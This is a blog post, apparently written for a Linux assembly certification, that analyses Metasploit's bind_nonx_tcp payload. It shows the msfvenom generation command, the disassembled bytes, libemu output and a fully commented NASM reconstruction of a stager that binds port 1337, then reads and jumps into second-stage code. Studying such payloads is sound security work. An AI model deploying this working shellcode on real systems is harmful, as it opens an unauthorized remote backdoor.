Content
1. Introduction
In previous chapters we’ve looked into the meterpreter reverse tcp shell & the adduser shellcodes.
Today I am going to dig into the linux/x86/shell/bind_nonx_tcp shellcode to find the difference between the normal and the noNX payloads.
2. Generate shellcode
I am going to create the raw shellcode and shoot it through ndisasm to disassemble it:
msfvenom -p linux/x86/shell/bind_nonx_tcp LPORT=1337 -a x86 --platform Linux | ndisasm -u - No encoder or badchars specified, outputting raw payload 00000000 31DB xor ebx,ebx 00000002 53 push ebx 00000003 43 inc ebx 00000004 53 push ebx 00000005 6A02 push byte +0x2 00000007 6A66 push byte +0x66 00000009 58 pop eax 0000000A 99 cdq 0000000B 89E1 mov ecx,esp 0000000D CD80 int 0x80 0000000F 96 xchg eax,esi 00000010 43 inc ebx 00000011 52 push edx 00000012 66680539 push word 0x3905 00000016 6653 push bx 00000018 89E1 mov ecx,esp 0000001A 6A66 push byte +0x66 0000001C 58 pop eax 0000001D 50 push eax 0000001E 51 push ecx 0000001F 56 push esi 00000020 89E1 mov ecx,esp 00000022 CD80 int 0x80 00000024 B066 mov al,0x66 00000026 D1E3 shl ebx,1 00000028 CD80 int 0x80 0000002A 52 push edx 0000002B 52 push edx 0000002C 56 push esi 0000002D 43 inc ebx 0000002E 89E1 mov ecx,esp 00000030 B066 mov al,0x66 00000032 CD80 int 0x80 00000034 93 xchg eax,ebx 00000035 B60C mov dh,0xc 00000037 B003 mov al,0x3 00000039 CD80 int 0x80 0000003B 89DF mov edi,ebx 0000003D FFE1 jmp ecx
Looks familiar with it’s 4 0x66 system calls: It’s pretty much the same as the bind shell in section 1 of this blog except the last bit were it executes a second stage shellcode instead of /bin/shell.
Why don’t we pipe it through libemu to get pretty pictures?
msfvenom -p linux/x86/shell/bind_nonx_tcp LPORT=1337 -a x86 --platform Linux | /usr/bin/sctest -vvv -Ss 100000 -G msf_nonx_bind_shell.dot dot msf_nonx_bind_shell.dot -Tpng -o msf_nonx_bind_shell.png
And here we have it:
Libemu also provides us with a high level syntax interpretation:
int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; int bind ( int sockfd = 14; struct sockaddr_in * my_addr = 0x00416fba => struct = { short sin_family = 2; unsigned short sin_port = 14597 (port=1337); struct in_addr sin_addr = { unsigned long s_addr = 0 (host=0.0.0.0); }; char sin_zero = " "; }; int addrlen = 102; ) = 0; int listen ( int s = 14; int backlog = 4288442; ) = 0; int accept ( int sockfd = 14; sockaddr_in * addr = 0x00000000 => none; int addrlen = 0x00000000 => none; ) = 19;
3. Analysis
libemu choked a bit at the end again but it visualizes the disassembly well enough to make sense of it at first glance.
I am going to copy and paste the disassembled code into it’s own source file and add some comments as I go (mostly some information from the relevant man pages of the system calls as well as from our favorite system call table):
; Filename: msf_non_bind_shell.nasm ; Author: Metasploit ; Analysed by Re4son ; Purpose: Disassembly of msf linux/x86/shell/bind_nonx_tcp ; for research purpose global _start section .text _start: ; --- socket - create an endpoint for communication --- ; int socket(int domain, int type, int protocol) xor ebx,ebx ; zero out ebx push ebx ; push IPPROTO = 0 inc ebx push ebx ; push SOCK_STREAM=1 push 0x2 ; push AF_INET=2 push 0x66 ; put sys_socketcall pop eax ; into eax cdq ; zero out edx mov ecx,esp ; store pointer to arguments in ecx int 0x80 ; invoke system call xchg eax,esi ; store the socket file descriptor in esi ; --- bind - bind a name to a socket --- ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) inc ebx ; increase the sub call function number to 2 for bind push edx ; INADDR_ANY push word 0x3905 ; port 1337 in little endian push word bx ; AF_INET mov ecx, esp ; store pointer to the structure in ecx push 0x66 ; put sys_socketcall pop eax ; into eax push eax ; and use it as sizeof(struct sockaddr_in) push ecx ; &serv_addr push esi ; our socket descriptor mov ecx, esp ; store pointer to arguments in ecx int 0x80 ; execute system call ; --- listen - listen for connections on a socket --- ; int listen(int sockfd, int backlog) mov al, 0x66 ; store sys_socketcall system call number in eax shl ebx,1 ; increase ebx to 4 for listen sub function call number int 0x80 ; execute system call ; --- accept - accept a connection on a socket --- ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) push edx ; NULL addrlen push edx ; NULL sockaddr push esi ; sockfd inc ebx ; increase sub function number in bl to 5 for accept mov ecx, esp ; store pointer to arguments in ecx mov eax, 0x66 ; store sys_socketcall system call number in eax int 0x80 ; execute system call xchg eax, ebx ; store the new socket file descriptor in ebx for later ; --- read - read from a file descriptor (receive 2n stage shellcode) ; ssize_t read(int fd, void *buf, size_t count) ; note that ecx still points to our previous arguments on the stack ; we will re-use that region as buffer mov dh,0xc ; set the size to 3072 bytes mov al,0x3 ; move sys_read into al int 0x80 ; invoke read system call ; transfer execution to the second stage mov edi,ebx ; store socket file descriptor in edi jmp ecx ; execute second stage
There we have it. All explained in the source code.
The only really new bit in this code is the lack of initializing a buffer to receive the second stage shellcode.
We are simply overwriting the area of the stack that we used previously.
4. Conclusion
- Regular shellcode is suitable for systems with data execution prevention by using mprotect to create an executable buffer.
- NoNX shellcode omits this step in favor of size but the stack must be executable.
5. Execute re-engineered shellcode
Let’s run it to ensure that everything I did and said actually works:
Great. It all makes sense now.
All files are available on github.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE – 674